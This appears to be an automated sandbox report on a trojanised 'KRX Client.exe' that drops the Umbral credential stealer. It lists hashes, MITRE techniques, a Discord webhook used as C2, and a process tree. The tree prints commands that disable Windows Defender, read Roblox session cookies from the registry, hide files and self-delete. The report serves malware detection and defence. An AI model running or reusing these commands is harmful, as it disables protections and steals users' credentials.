umbral | 4cc1f9f24687b31979df108d1cb40b332b2b867aa004314b3844fc9388051d10

Analysis

max time kernel
121s
max time network
128s
platform
windows7_x64
resource
win7-20241023-en
resource tags

arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
submitted
06/02/2025, 18:49

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General

Target

krx/krx/KRX Client.exe
Size

13.5MB
MD5

14aa5b66b4eb09f2ec43ab2785353b30
SHA1

13e604b67db06e15a4f6c320fadb653f35d8bd1a
SHA256

83d30f0c1b0fb62ba26d7a2a8ddd0f1d0a355d4011d57c9316fc1fe6fc3e144b
SHA512

ae7b132ae3d91e1f7967fffc52c7b30760d4bf29f7c3c25522c27002399c2de865729e99ce7141baa6355ce6e22141721e733bc1ebdacc840f2d3ad112ead39a
SSDEEP

196608:1aqDXlWLO5Ui4d+fNcCnpVubF7d2vziaM7G9PEozWpLMFhKxY+MyAD0vOLQpMJKu:1a0eO9kh7EzzKOPEoypIFDWY3tKgO4

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Extracted

Family

umbral

https://discord.com/api/webhooks/1337020963363225641/h0Ve6Z9WtTbW9d3frLkSaZTzjtjFum8OAq1NnRnHG-Vd0mImdRoT37Xs5_5jhVWlKEdf

Signatures

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral9/files/0x000c00000001202c-3.dat	family_umbral
behavioral9/memory/904-10-0x00000000013A0000-0x00000000013E0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2652	powershell.exe
784	powershell.exe
2980	powershell.exe
2728	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe

Executes dropped EXE 2 IoCs

pid	Process
904	Umbral.exe
2300	KRX Client.exe

Loads dropped DLL 2 IoCs

pid	Process
2556	KRX Client.exe
2556	KRX Client.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	KRX Client.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
448	cmd.exe
2212	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2928	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2212	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
904	Umbral.exe
2728	powershell.exe
2652	powershell.exe
784	powershell.exe
1816	powershell.exe
2980	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	904	Umbral.exe
Token: SeIncreaseQuotaPrivilege	2220	wmic.exe
Token: SeSecurityPrivilege	2220	wmic.exe
Token: SeTakeOwnershipPrivilege	2220	wmic.exe
Token: SeLoadDriverPrivilege	2220	wmic.exe
Token: SeSystemProfilePrivilege	2220	wmic.exe
Token: SeSystemtimePrivilege	2220	wmic.exe
Token: SeProfSingleProcessPrivilege	2220	wmic.exe
Token: SeIncBasePriorityPrivilege	2220	wmic.exe
Token: SeCreatePagefilePrivilege	2220	wmic.exe
Token: SeBackupPrivilege	2220	wmic.exe
Token: SeRestorePrivilege	2220	wmic.exe
Token: SeShutdownPrivilege	2220	wmic.exe
Token: SeDebugPrivilege	2220	wmic.exe
Token: SeSystemEnvironmentPrivilege	2220	wmic.exe
Token: SeRemoteShutdownPrivilege	2220	wmic.exe
Token: SeUndockPrivilege	2220	wmic.exe
Token: SeManageVolumePrivilege	2220	wmic.exe
Token: 33	2220	wmic.exe
Token: 34	2220	wmic.exe
Token: 35	2220	wmic.exe
Token: SeIncreaseQuotaPrivilege	2220	wmic.exe
Token: SeSecurityPrivilege	2220	wmic.exe
Token: SeTakeOwnershipPrivilege	2220	wmic.exe
Token: SeLoadDriverPrivilege	2220	wmic.exe
Token: SeSystemProfilePrivilege	2220	wmic.exe
Token: SeSystemtimePrivilege	2220	wmic.exe
Token: SeProfSingleProcessPrivilege	2220	wmic.exe
Token: SeIncBasePriorityPrivilege	2220	wmic.exe
Token: SeCreatePagefilePrivilege	2220	wmic.exe
Token: SeBackupPrivilege	2220	wmic.exe
Token: SeRestorePrivilege	2220	wmic.exe
Token: SeShutdownPrivilege	2220	wmic.exe
Token: SeDebugPrivilege	2220	wmic.exe
Token: SeSystemEnvironmentPrivilege	2220	wmic.exe
Token: SeRemoteShutdownPrivilege	2220	wmic.exe
Token: SeUndockPrivilege	2220	wmic.exe
Token: SeManageVolumePrivilege	2220	wmic.exe
Token: 33	2220	wmic.exe
Token: 34	2220	wmic.exe
Token: 35	2220	wmic.exe
Token: SeDebugPrivilege	2728	powershell.exe
Token: SeDebugPrivilege	2652	powershell.exe
Token: SeDebugPrivilege	784	powershell.exe
Token: SeDebugPrivilege	1816	powershell.exe
Token: SeIncreaseQuotaPrivilege	1700	wmic.exe
Token: SeSecurityPrivilege	1700	wmic.exe
Token: SeTakeOwnershipPrivilege	1700	wmic.exe
Token: SeLoadDriverPrivilege	1700	wmic.exe
Token: SeSystemProfilePrivilege	1700	wmic.exe
Token: SeSystemtimePrivilege	1700	wmic.exe
Token: SeProfSingleProcessPrivilege	1700	wmic.exe
Token: SeIncBasePriorityPrivilege	1700	wmic.exe
Token: SeCreatePagefilePrivilege	1700	wmic.exe
Token: SeBackupPrivilege	1700	wmic.exe
Token: SeRestorePrivilege	1700	wmic.exe
Token: SeShutdownPrivilege	1700	wmic.exe
Token: SeDebugPrivilege	1700	wmic.exe
Token: SeSystemEnvironmentPrivilege	1700	wmic.exe
Token: SeRemoteShutdownPrivilege	1700	wmic.exe
Token: SeUndockPrivilege	1700	wmic.exe
Token: SeManageVolumePrivilege	1700	wmic.exe
Token: 33	1700	wmic.exe
Token: 34	1700	wmic.exe

Suspicious use of WriteProcessMemory 47 IoCs

description	pid	Process	procid_target
PID 2556 wrote to memory of 904	2556	KRX Client.exe	30
PID 2556 wrote to memory of 904	2556	KRX Client.exe	30
PID 2556 wrote to memory of 904	2556	KRX Client.exe	30
PID 2556 wrote to memory of 904	2556	KRX Client.exe	30
PID 2556 wrote to memory of 2300	2556	KRX Client.exe	31
PID 2556 wrote to memory of 2300	2556	KRX Client.exe	31
PID 2556 wrote to memory of 2300	2556	KRX Client.exe	31
PID 2556 wrote to memory of 2300	2556	KRX Client.exe	31
PID 904 wrote to memory of 2220	904	Umbral.exe	33
PID 904 wrote to memory of 2220	904	Umbral.exe	33
PID 904 wrote to memory of 2220	904	Umbral.exe	33
PID 904 wrote to memory of 2620	904	Umbral.exe	36
PID 904 wrote to memory of 2620	904	Umbral.exe	36
PID 904 wrote to memory of 2620	904	Umbral.exe	36
PID 904 wrote to memory of 2728	904	Umbral.exe	38
PID 904 wrote to memory of 2728	904	Umbral.exe	38
PID 904 wrote to memory of 2728	904	Umbral.exe	38
PID 904 wrote to memory of 2652	904	Umbral.exe	40
PID 904 wrote to memory of 2652	904	Umbral.exe	40
PID 904 wrote to memory of 2652	904	Umbral.exe	40
PID 904 wrote to memory of 784	904	Umbral.exe	42
PID 904 wrote to memory of 784	904	Umbral.exe	42
PID 904 wrote to memory of 784	904	Umbral.exe	42
PID 904 wrote to memory of 1816	904	Umbral.exe	44
PID 904 wrote to memory of 1816	904	Umbral.exe	44
PID 904 wrote to memory of 1816	904	Umbral.exe	44
PID 904 wrote to memory of 1700	904	Umbral.exe	46
PID 904 wrote to memory of 1700	904	Umbral.exe	46
PID 904 wrote to memory of 1700	904	Umbral.exe	46
PID 904 wrote to memory of 1676	904	Umbral.exe	48
PID 904 wrote to memory of 1676	904	Umbral.exe	48
PID 904 wrote to memory of 1676	904	Umbral.exe	48
PID 904 wrote to memory of 2844	904	Umbral.exe	50
PID 904 wrote to memory of 2844	904	Umbral.exe	50
PID 904 wrote to memory of 2844	904	Umbral.exe	50
PID 904 wrote to memory of 2980	904	Umbral.exe	52
PID 904 wrote to memory of 2980	904	Umbral.exe	52
PID 904 wrote to memory of 2980	904	Umbral.exe	52
PID 904 wrote to memory of 2928	904	Umbral.exe	54
PID 904 wrote to memory of 2928	904	Umbral.exe	54
PID 904 wrote to memory of 2928	904	Umbral.exe	54
PID 904 wrote to memory of 448	904	Umbral.exe	56
PID 904 wrote to memory of 448	904	Umbral.exe	56
PID 904 wrote to memory of 448	904	Umbral.exe	56
PID 448 wrote to memory of 2212	448	cmd.exe	58
PID 448 wrote to memory of 2212	448	cmd.exe	58
PID 448 wrote to memory of 2212	448	cmd.exe	58

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2620	attrib.exe

C:\Users\Admin\AppData\Local\Temp\krx\krx\KRX Client.exe
"C:\Users\Admin\AppData\Local\Temp\krx\krx\KRX Client.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2556
- C:\Users\Admin\AppData\Local\Temp\Umbral.exe
  "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:904
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2220
- - C:\Windows\system32\attrib.exe
    "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
    3⤵
    - Views/modifies file attributes
    PID:2620
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2728
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2652
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:784
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1816
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1700
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    PID:1676
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:2844
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2980
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:2928
- - C:\Windows\system32\cmd.exe
    "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:448
  - - C:\Windows\system32\PING.EXE
      ping localhost
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:2212
- C:\Users\Admin\AppData\Local\Temp\KRX Client.exe
  "C:\Users\Admin\AppData\Local\Temp\KRX Client.exe"
  2⤵
  - Executes dropped EXE
  PID:2300

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
826b9ffb52de4ea363f3dbda5251e9e2

SHA1
ba7e9790b1214ddb9a04fdbcae44765b3c066018

SHA256
3929b485c8729e1e943ef2bc2b58378508f686100c3dd5b23092a5b63cfa2c76

SHA512
9f1b660ac67f380c3bf9425b77630acf52a1754d971c9619d096b14d5ebae91156993586d5dd3814108ccdead6387670eb44413132a3bd68665866da7bc25a6d

Download Submit
\Users\Admin\AppData\Local\Temp\KRX Client.exe

Filesize
13.4MB

MD5
7907e9406015ceba49d7f1156f032ac8

SHA1
a8034055f4358c1d687b3c2c70c588f37982fa88

SHA256
fc59d043ebbf8e3225f399030bc6447a0592e992bcb57a08d769c35934335de3

SHA512
bff798c9a2301120c343e7108a857dc2a78e5c18fa5fbc06d71ada65f96adbff3ce47e3ffbf51c13db50f0c09ae6d0bcad4a2abe3911e0bd0b2a1b816c0685a9

Download Submit
\Users\Admin\AppData\Local\Temp\Umbral.exe

Filesize
231KB

MD5
39866481d5925ad5fb5a6c72bc51c3c5

SHA1
6c646ec853a4178e219c73cd1788d3f51623099d

SHA256
38042abd98755c213a6f36e5c79d23e7d09b56495b29daab3e89fcdccde80ad2

SHA512
daca18d9d9132ffe07b142a80148aa98575c72052de8bd18115f85adcac1ed8b6f990a85d3076a9c88e934694ae8ba19b58eb6cf81bc27a3c84480c3e853779d

Download Submit
memory/904-7-0x000007FEF58E3000-0x000007FEF58E4000-memory.dmp

Filesize
4KB

Download
memory/904-10-0x00000000013A0000-0x00000000013E0000-memory.dmp

Filesize
256KB

Download
memory/2300-16-0x0000000140000000-0x0000000142086000-memory.dmp

Filesize
32.5MB

Download
memory/2556-15-0x0000000003B70000-0x0000000005BF6000-memory.dmp

Filesize
32.5MB

Download
memory/2556-64-0x0000000003B70000-0x0000000005BF6000-memory.dmp

Filesize
32.5MB

Download
memory/2652-29-0x0000000001DA0000-0x0000000001DA8000-memory.dmp

Filesize
32KB

Download
memory/2652-28-0x000000001B5D0000-0x000000001B8B2000-memory.dmp

Filesize
2.9MB

Download
memory/2728-22-0x0000000002960000-0x0000000002968000-memory.dmp

Filesize
32KB

Download
memory/2728-21-0x000000001B690000-0x000000001B972000-memory.dmp

Filesize
2.9MB

Download
memory/2980-58-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

Filesize
32KB

Download